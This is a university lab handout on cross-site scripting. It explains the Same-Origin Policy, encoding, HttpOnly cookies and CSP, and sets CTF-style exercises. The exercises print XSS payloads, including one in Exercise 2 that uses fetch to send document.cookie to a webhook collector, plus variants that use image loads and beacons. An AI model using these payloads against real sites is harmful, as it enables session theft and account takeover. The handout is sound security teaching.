

Cross-Site Scripting (XSS)

Laboratory for the class “Offensive Security”
(01NWLWQ, 01NWLUV, 01NWL UW, 01NWLWR)
Politecnico di Torino – AY 2025/26
Prof. Cataldo Basile

prepared by:
Stefano Alberto (stefano.alberto@polito.it)

v. 1.0.0 (12/5/2026)

Contents

1	Introduction	2
2	Exercises	5
3	Extras	12

1 Introduction

The purpose of this laboratory is to understand and exploit **Cross-Site Scripting (XSS)** vulnerabilities and to study the defences (output encoding, `HttpOnly` cookies, Content Security Policy) that the modern web relies on against them.

Why scripts in a browser are not, by themselves, a security problem

A web browser is, among other things, a JavaScript interpreter. Every page can ship code that runs in the user's browser, and the browser executes it without asking, because that is what makes the web interactive. This sounds dangerous, because users routinely load pages from sites they do not trust, but it works because the browser confines each page to its own little world. The two pillars of that confinement are the **sandbox** (the JavaScript engine has no direct access to the operating system) and, more importantly for us, the **Same-Origin Policy (SOP)**.

The Same-Origin Policy

An **origin** is the triple (scheme, host, port). `https://bank.com`, `http://bank.com` and `https://bank.com:8443` are three different origins. The SOP says, informally, that a script running in origin A cannot read data belonging to origin B: it cannot read the response of an `XMLHttpRequest` to B, cannot access cookies set for B, cannot read the DOM of an `<iframe>` embedding B, and so on. This is why a script you accidentally load from `attacker.com` cannot empty your bank account at `bank.com`, even though your browser is logged into both: the script's network requests to `bank.com` will indeed carry your cookies, but the attacker's script cannot *read* the response.

NOTE

The closely related concept of *site* is coarser than origin: a site is roughly the *eTLD+1* (e.g. `bank.com` regardless of subdomain), and is what cookie attributes such as `SameSite` and features like the storage partitioning use. Origin is finer-grained and is what the SOP and CORS use. The two are often conflated in informal speech but are not the same.

The XSS pattern

XSS happens when an attacker manages to inject HTML or JavaScript into a page served by the target origin. Once the victim's browser renders that page, the injected script runs **with the privileges of the target origin**: it can read the page's cookies (unless they are flagged `HttpOnly`), it can issue authenticated `fetch` or `XMLHttpRequest` calls to the target's API and read the responses, it can read and modify the DOM, and it can do all of this on behalf of the logged-in victim. In short: the SOP no longer protects the victim from the attacker *for that specific origin*, because the attacker's code is now *inside* that origin.

The root cause is again the one we saw in the previous two laboratories on SQL injection and command injection: user-controlled data is concatenated into a string that another component (here, the HTML parser of the browser) interprets as code. The vulnerable pattern looks like this:

```
$response = "<p>You searched for: " . $_GET['q'] . "</p>";
```

If the user provides shoes, the page renders the harmless text You searched for: shoes. If the user provides `<script>alert(1)</script>`, the page renders that as a real `<script>` tag and the browser runs the code.

Three flavours of XSS

There are three categories, distinguished by where the payload lives and how it reaches the victim's browser.

- **Reflected XSS:** the payload travels in a request parameter (e.g. a URL query string) and is reflected back into the response. The attacker delivers it by tricking the victim into visiting a crafted URL (phishing email, malicious link). The payload is not stored on the server.
- **Stored XSS** (also called **persistent**): the payload is saved on the server (in a comment, a profile field, a forum post, a product review) and is served to every user who visits the page. No delivery vector is needed; the attacker just plants the payload and waits. This is strictly more dangerous because it can hit many victims at once.
- **DOM-based XSS:** the payload never reaches the server. Vulnerable client-side JavaScript reads attacker-controlled data (e.g. `location.hash` or `document.referrer`) and writes it into the DOM using a sink like `innerHTML` or `document.write`. We will not exploit this variant in the exercises, but the prevention rules below apply unchanged.

What an XSS lets the attacker do

Once a script runs in the target origin, the standard things to do are:

- **Steal cookies** with `document.cookie` and exfiltrate them to an attacker-controlled server. The stolen session cookie is then enough to impersonate the victim. This is the textbook outcome and is blocked by the `HttpOnly` flag (see below).
- **Make authenticated requests** on behalf of the victim using `fetch()` or `XMLHttpRequest`. The browser automatically attaches the victim's cookies; the attacker reads the response thanks to the SOP allowing same-origin reads. This is *not* blocked by `HttpOnly`, only by CSP or by good API design (e.g. requiring re-authentication for sensitive actions).
- **Read the page** (DOM, form contents, recently typed input) and exfiltrate any of it.
- **Phish in place:** inject a fake login form on the real bank's page; the user has no reason to be suspicious because the URL bar still shows the legitimate origin.

Prevention: context-aware output encoding

The structural defence against XSS is to **encode every piece of user-controlled data** when it is written into the HTML output, using the encoding appropriate to the *context* in which the data appears. The contexts are different and so are the encodings:

- **HTML body** (e.g. between `<p>...</p>`): HTML-entity-encode `<`, `>`, `&`, `"`, `'` so that they cannot break out and form a new tag.
- **HTML attribute** (e.g. `<img alt="...">`): in addition, encode the quote that delimits the attribute. An attribute context is friendlier to attackers because they only need to close the quote to be able to add an event handler such as `onerror`.
- **JavaScript string** (e.g. inline `<script>var x = "...";</script>`): unicode-escape every non-alphanumeric character. HTML encoding is not enough here because the JavaScript parser does not interpret HTML entities.
- **URL** (e.g. `<a href="...">`): URL-encode and also validate the scheme to reject `javascript:` URLs.

The right way to defend against XSS is to use a **templating engine that auto-escapes by default** and that is aware of the context: Jinja2 (Python), Twig (PHP), ERB with Rails' helpers, React JSX, Vue templates, and so on. The developer's job is then to never opt out of the escaping (`|safe` filters, `dangerouslySetInnerHTML`, `v-html`) on attacker-controlled data.

When user-supplied *HTML* must legitimately be rendered (e.g. a rich-text comment), the only safe approach is to parse and filter it with an **allow-list sanitiser** such as DOMPurify. Trying to strip “dangerous” tags or attributes with a regex is the XSS equivalent of trying to escape SQL with `str_replace`: it always misses something.

NOTE

Note the parallel with the previous two labs. SQL injection was fixed by *prepared statements* (keep code and data on separate channels). Command injection was fixed by *argument arrays* (same principle, applied to the shell). XSS is fixed by *context-aware encoding* (mark every piece of data as data when it enters the HTML). In all three cases the structural fix is the right one and any defence based on enumerating dangerous characters will eventually be bypassed by a creative payload.

Defence in depth

Even on a well-encoded application, additional defences make XSS harder to exploit when (not if) a single encoding mistake slips through.

- **HttpOnly cookies.** A cookie set with the `HttpOnly` flag is not exposed to JavaScript via `document.cookie`, so an XSS cannot steal it. This blocks the simplest exfiltration route. It does *not* prevent the attacker from issuing authenticated requests via `fetch()`, since the browser still attaches the cookie automatically.
- **Content Security Policy (CSP).** An HTTP response header that tells the browser which sources of script (and other resources) are allowed for the page. A strict CSP rejects all inline `<script>` tags and event handlers and only allows scripts from an explicit allow-list, or from `<script>` tags carrying a server-issued *nonce* or matching *hash*. A well-designed CSP can make an XSS injection useless even when it is present in the HTML. Exercises 5 and 6 (optional) explore two ways an attacker can still bypass weak CSPs.
- **SameSite cookies.** The `SameSite=Lax` or `Strict` attribute prevents the cookie from being sent on cross-origin requests, which is mostly an anti-CSRF measure (see below). It does not stop a same-origin XSS because the request is, by definition, same-origin.

A neighbour problem: CSRF

Cross-Site Request Forgery (CSRF) is the closely related vulnerability where an attacker on a different origin tricks the victim’s browser into sending an authenticated request to the target site. The browser attaches the victim’s cookies automatically, so the target sees a fully authenticated request and acts on it. The standard mitigations are anti-CSRF tokens (a per-form unguessable value the server checks) and `SameSite` cookies.

Two reasons to keep CSRF in mind while studying XSS:

- Even without an XSS, a malicious page on `attacker.com` can cause your browser to issue `POST /bank.com/transfer` with your cookies attached. CSRF protections exist precisely because the SOP does *not* stop the request from being sent (it only prevents the attacker from *reading* the response).
- Any XSS trivially defeats CSRF tokens, because the script running on the target origin can read the token from the page and submit it with the forged request.

For further reading and a comprehensive set of guided labs on XSS, see the PortSwigger Web Security Academy:

<https://portswigger.net/web-security/cross-site-scripting>

2 Exercises

This section includes six exercises on Cross-Site Scripting. The first two are solved step by step on a textbook reflected XSS and on a classic stored XSS with cookie theft. The next two are standalone challenges that respectively force you out of the easiest injection context and into an action-as-victim scenario where cookie theft is no longer available. The last two are optional and cover two ways of bypassing a Content Security Policy.

Exercise 1 – Reflected XSS into HTML context (PortSwigger)

Purpose:	Identify a reflected XSS sink and trigger alert (1) in the victim's browser.
Suggested tools:	Browser, Burp Suite
Source:	PortSwigger Web Security Academy – https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded

The lab is a small blog. The top of every page has a search form (`<form action=/ method=GET><input ... name=search>`) that issues `GET /?search=your_query` and renders a results page containing the string “0 search results for '*your_query*'”. Your goal, per the lab description, is to “call the alert function”. Follow the steps below.

Observe the reflection

Submit a normal search, e.g. `hello`, and inspect the response. Where does your input appear in the HTML?

→

Confirm that HTML is interpreted, not escaped

Before trying a payload, confirm that you can break out of the text node and inject markup. Search for a string that contains an HTML tag with no security relevance, e.g. `<b>hello</b>`. What do you see in the rendered page and in the page source?

→

Craft the payload

You are in an HTML-body context with no filtering, which is the most permissive XSS context that exists. The simplest payload that calls `alert` is an inline `<script>` block. Submit:

```
<script>alert(1)</script>
```

What happens?

→

NOTE

Several other tag/event combinations would have worked equally well, e.g. `<img src=x onerror=alert(1)>`, `<svg onload=alert(1)>` or `<body onload=alert(1)>`. The `<script>` tag is the most direct but it is also the first thing any non-trivial filter will block. The PortSwigger “XSS without script tags” labs are dedicated to forcing you to find equivalents; keep these alternatives in mind for Exercise 3 and 4 where `<script>` is filtered or unusable.

From `alert(1)` to a real attack

The lab is solved once the alert fires, but think about what it would take to actually attack a real user. The injection is reflected: the payload is not stored on the server, so no other user will see it spontaneously. How would you exploit this in practice?

→

Exercise 2 – Curious George (stored XSS, cookie theft)

Purpose:	Plant a stored XSS payload in your profile description, report your profile to the admin bot, exfiltrate its session cookie, and use it to read the flag.
Suggested tools:	Browser, a public webhook receiver (e.g. https://webhook.site), Python (the attached <code>pow.py</code> helper).
Source:	OliCyber Training – Curious George – https://training.olicyber.it/challenges#challenge-40

The application is a small profile site. After registering and logging in, you have a personal profile page, e.g. `/index.php?id=your_id`, with an editable *Description* field. A “Report a bug” page at `/bug.php` lets you submit a URL to the admin; after a proof of work, the admin bot visits the reported URL to check it. If your profile description contains JavaScript, the admin’s browser runs it while authenticated as the admin.

Set up an exfiltration endpoint

Before crafting any payload, you need somewhere to send the stolen data. Open <https://webhook.site> in a separate browser tab. The page gives you a unique URL of the form `https://webhook.site/your-uuid` and a live log of every HTTP request that hits that URL. Keep the tab open: it is your data collector for the rest of the exercise.

NOTE

Any URL you control works as a collector: a small Flask/Express server you run locally and expose with ngrok, a Burp Collaborator domain, etc. `webhook.site` is the easiest because it is hosted, free, requires no account, and has a usable UI to inspect incoming requests.

Identify the sink

Register a normal user and open your profile page. Click *Edit Profile*, set the description to a harmless value such as `hello`, then inspect the page source. How is your description rendered?

→

Craft a cookie-stealing payload

You want the admin's browser, when it visits the page, to send the value of `document.cookie` to your webhook. The standard payload uses `fetch` to issue a GET request whose URL contains the cookie:

```
<script>fetch('https://webhook.site/your-uuid?c='+document.cookie)</script>
```

Submit this as your profile description. The vulnerable code path is the same as for the harmless test: the payload is stored server-side and rendered inside `<p id="desc">...</p>` whenever someone opens your profile.

NOTE

Equivalent payloads work in slightly different contexts. `<img src=x onerror="...">` runs without a `<script>` tag and is useful when those are filtered. `new Image().src = 'https://.../?c=' + document.cookie` is older but works without `fetch`. `navigator.sendBeacon(...)` survives the user navigating away. All of them ultimately leak the same data through a URL the attacker controls.

Report your profile and solve the proof of work

Open `/bug.php`. The form asks for:

- bug: the URL the admin should visit, for example `http://curious-george.challs.olicyber.it/index.php?id=your_id`.
- string: a byte string, encoded as hex.
- hash: the MD5 hash of that byte string.

The page displays a proof value such as `Proof: 1d537d`. The attached `pow.py` helper repeatedly generates random 20-byte strings until it finds one whose `md5(string).hexdigest()` starts with that proof prefix:

```
python3 pow.py 1d537d
```

It prints output of the form:

```
String: 257e304e9c1fbf7ce98aaf73f25f82b0fd6d6dc9
```

```
Hash: 1d537d4b398b8386a5a829d9bebefc2e
```

Paste the printed `String` and `Hash` into the form together with your profile URL. If the PoW is accepted, the page confirms that the request was sent to the admin: `La tua richiesta e' stata inoltrata all'admin`.

NOTE

The PoW exists to rate-limit submissions: it costs CPU time on your machine for every bot visit you request, which discourages trivial spam. The current challenge uses a partial MD5 collision on a displayed hexadecimal prefix; it is not a SHA-256 zero-bit puzzle. The PoW is irrelevant to the XSS itself;

once the bot visits your profile, the stored payload runs unconditionally.

Read the cookie and retrieve the flag

What appears on your `webhook.site` page when the bot visits?

→

Reflection

This is the textbook stored XSS chain: plant the payload, wait for an authenticated victim to visit, steal the session cookie, replay the cookie. Two structural defences would have blocked it:

- **HTML-encoding the message field on output** would prevent the payload from being parsed as a tag in the first place. This is the root-cause fix.
- **Setting the session cookie with the `HttpOnly` flag** would not have stopped the XSS itself, but `document.cookie` would have returned an empty string for that cookie, and the attacker would have had to fall back to authenticated requests via `fetch` (Exercise 4 explores that scenario).

Both should always be in place: defence in depth is the rule, not the exception.

Exercise 3 – Segnalazione cinghiali cittadini

Purpose:	Trigger an attribute-context XSS and use the admin bot to approve your report, which writes the flag into it.
Suggested tools:	Browser, Burp Suite or <code>curl</code> to bypass client-side URL validation, <code>hashcash</code> or the linked online PoW helper.
Hints:	The injection point is the URL of a user-supplied image. The application uses the URL inside an <code></code> attribute. The report page also contains an admin-only “Approva segnalazione” form. Look at where you actually <i>need</i> <code><</code> and <code>></code> : in an attribute context you do not have to open a new tag at all.
Source:	OliCyber Training – https://training.olicyber.it/challenges#challenge-721

The application lets a citizen file a “boar sighting” report with an address and an optional photo URL. After you submit a report, the server immediately triggers the admin bot: it logs in as the admin and visits `/report/id`. On that report page, the photo URL is embedded inside an `` attribute, and there is an admin-only *Approva segnalazione* form. If the admin approves the report, the server replaces the report’s address with the flag.

The server tries to block XSS by removing `<` and `>` from the `address` and `image` fields, but the quote character that delimits `src="..."` is not filtered. Plant a payload in the image URL that runs in the admin’s browser and submits the approval form.

→

NOTE

The general lesson is that XSS contexts are not all equally hard. An *HTML body* context (Exercise 1 and 2) requires you to open a tag, so blocking `<` stops it. An *attribute* context only requires you to close a quote, so blocking `"` (or `'` depending on the delimiter) is what stops it; blocking `<` and `>` alone is futile. A *JavaScript string* context (e.g. `<script>var x = "input ";</script>`) is even friendlier: closing the quote drops you straight into JavaScript code, no event handler needed. Always identify the context first; the right payload follows.

Exercise 4 – Bibbopedia 2 (HttpOnly, action-as-victim)

Purpose:	Exploit a stored XSS in the edit-review page to make the admin approve an edit to the <code>gabibbo</code> page.
Suggested tools:	Browser, DevTools, the challenge source code.
Hints:	The source zip is attached to the “Bibbopedia 1” challenge on OliCyber and is the same codebase used here. Bibbopedia 1 can be solved by approving an edit to any non- <code>gabibbo</code> page; Bibbopedia 2 requires the specific <code>gabibbo</code> page, whose edits can only be approved by the admin.
Source:	OliCyber Training – https://training.olicyber.it/challenges#challenge-279

The application is a small wiki. Any logged-in user can propose edits to pages, then inspect the proposal at `/check_edit/id`. The challenge description says: “Volevo aggiungere delle utilissime info alla pagina del

gabibbo ma non posso modificarla senza il consenso dell'admin. Puoi aiutarmi di nuovo?" This is the key difference from Bibbopedia 1: for the first level, changing any page except gabibbo is enough; for this XSS level, the target must be /edit/gabibbo.

The session cookie is set with `HttpOnly`, so stealing it with `document.cookie` is not the path. Instead, get JavaScript execution in the admin bot's browser and make that browser approve your pending gabibbo edit.

→

NOTE

This exercise is the most important attitude shift in the lab. The first instinct on a stored XSS is “steal the cookie”. As soon as `HttpOnly` is set, that instinct is wrong, and a non-trivial fraction of people conclude that the XSS is harmless. It is not: *any action* the victim can perform, the script can perform, including ones that bypass CSRF tokens. The right mental model is that an XSS gives you a foothold inside the victim's session, not a cookie.

Exercise 5 (Optional) – Virtualbank (CSP 'self' bypass)

Purpose:	Bypass a Content Security Policy that allows scripts only from 'self', by chaining a stored XSS with a reflected script-loading gadget on the same origin.
Suggested tools:	Browser, DevTools, Burp Suite or curl, a webhook receiver, the provided <code>pow.py</code> helper.
Hints:	The CSP forbids inline scripts, external scripts, <code>eval</code> and most other dangerous primitives. It does, however, allow scripts whose <code>src</code> points to the same origin. Is there any endpoint on the same origin whose response body you can fully control?
Source:	OliCyber Training – Virtualbank – https://training.olicyber.it/challenges#challenge-133

The application is a small online bank. You can register an account, receive 1000 virtual coins, send transactions to other users, and inspect incoming/outgoing movements at /history. A transaction has a numeric amount and a free-text “causale” (memo) which is displayed to the recipient when they view the transaction. The site sends this Content Security Policy:

```
Content-Security-Policy: default-src 'self'; style-src
https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css
```

There is no explicit `script-src`, so scripts fall back to `default-src 'self'`: inline scripts and inline event handlers are blocked, but `<script src="same-origin URL "></script>` is allowed.

The flag is in the admin's account. Find a way to execute JavaScript in the admin's session despite the CSP, and exfiltrate the flag.

→

NOTE

Same-origin script-loading gadgets are the canonical way to defeat a 'self'-only CSP. Common gadget categories are: JSONP endpoints (`?callback=your_function_name`), reflected parameters inside inline scripts (as in this exercise), and uploaded files served with a `Content-Type` that the browser will parse as a script. The lesson is that `script-src 'self'` alone is not a strong defence; modern CSPs combine nonces, hashes and `strict-dynamic` precisely to make this kind of gadget hunt impossible.

Exercise 6 (Optional) – Private Notes (nonce predictability)

Purpose:	Defeat a nonce-based CSP, then use SQL injection to plant the XSS in the admin's private notes.
Suggested tools:	Browser, DevTools, <code>curl</code> , a webhook receiver.
Hints:	The CSP allows inline scripts whose nonce matches the one the server emitted for that response. Look carefully at the exact nonce generation code: the bug happens because <code>parseInt</code> is applied to a huge JavaScript number. Also remember that notes are private per user: the admin will not see your note unless you find a way to insert one for <code>userid=0</code> .
Source:	OliCyber Training – Private Notes – https://training.olicyber.it/challenges#challenge-304

The application is a small note-taking service. It creates an anonymous JWT-backed user for every visitor, lets the user create private notes, and shows notes at `/notes#id` by fetching `/api/note/id` and assigning the returned content to `innerHTML`. The admin bot can be asked, through `/abuse`, to visit an arbitrary URL; the flag is embedded in the admin's JWT cookie.

The page is protected by a CSP of the form `Content-Security-Policy: script-src 'nonce-value';`. Inline scripts are allowed only when their `nonce=` attribute matches the value generated for that response. Bypass the CSP, plant the payload as an admin-owned note, make the bot visit it, and exfiltrate the admin cookie.

→

NOTE

There are three separate lessons here. First, CSP nonces must be generated with a CSPRNG and enough entropy; deriving them from `Math.random()`, especially after lossy numeric conversions, is not acceptable. Second, inserting HTML with `innerHTML` keeps the XSS sink alive even when the surrounding page's own scripts use nonces correctly. Third, CSP is defence in depth, not a substitute for fixing the primary bugs: the note renderer should not render attacker-controlled HTML, and the note creation query must use parameterised SQL rather than string concatenation.

3 Extras

This section lists additional challenges and resources that are not mandatory for this laboratory. They provide further practice on the topics covered in this lab and can be used for self-study.

PortSwigger Web Security Academy

PortSwigger publishes an excellent, free, guided learning path on XSS. It is the most thorough resource freely available on the topic and includes labs that go well beyond what we covered here, in particular on DOM-based XSS, contextual cases (XSS in JavaScript URLs, in Markdown rendering, inside template strings) and AngularJS sandbox escapes.

- **Cross-site scripting:** <https://portswigger.net/web-security/cross-site-scripting>

The path starts from the same reflected lab used in Exercise 1 and progresses through reflected, stored and DOM-based XSS with increasingly tight filters. Each lab is short, has a clear acceptance criterion and includes a written solution if you get stuck.

DOM-based XSS

We mentioned DOM-based XSS only in passing in the introduction; the PortSwigger sub-path covers it in detail and is the recommended way to practice it:

<https://portswigger.net/web-security/cross-site-scripting/dom-based>

The labs cover the standard sources (`location.search`, `location.hash`, `document.referrer`, `postMessage` data, `window.name`) paired with the standard sinks (`innerHTML`, `document.write`, `eval`, jQuery's `$()`, framework-specific bindings). The mental model is identical to reflected XSS, but the entire flow happens in the browser; server-side encoding alone does not help, and the fix has to be done in the client-side JavaScript that consumes the source.

Additional OliCyber XSS challenges

Proposte

A stored XSS chained with a CSRF inside a JavaScript template string. The filter looks airtight, but a Unicode normalisation step happens *after* the validation, so a character that looks safe to the filter turns into a dangerous one inside the rendered template. A complete writeup is available.

<https://training.olicyber.it/challenges#challenge-439>

<https://github.com/OliCyberIT/OliCyber.IT-Writeups/blob/main/2023-nazionale/web2.md>

This is a good exercise to internalise the rule that any string transformation (Unicode normalisation, HTML re-parsing, encoding/decoding cycles) that happens *after* the security check is a potential bypass.

Cheatsheets and references

PayloadsAllTheThings – XSS

Community-maintained cheatsheet of payloads, tag/event combinations, polyglots, filter bypasses and exfiltration tricks. Keep it open while solving challenges.

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection>

Content Security Policy

- MDN reference on the CSP directives: <https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP>
- Google's CSP evaluator, useful to spot weak policies (overly permissive script-src, missing object-src, etc.): <https://csp-evaluator.withgoogle.com/>

Cookies

The MDN reference is the right one-stop document on the HttpOnly, Secure and SameSite cookie attributes:

<https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies>

Sanitisation library

When user-supplied HTML must legitimately be rendered, the de-facto standard for sanitisation in the browser is DOMPurify. The project page is short and the README contains the security model and the few configuration options worth tuning:

<https://github.com/cure53/DOMPurify>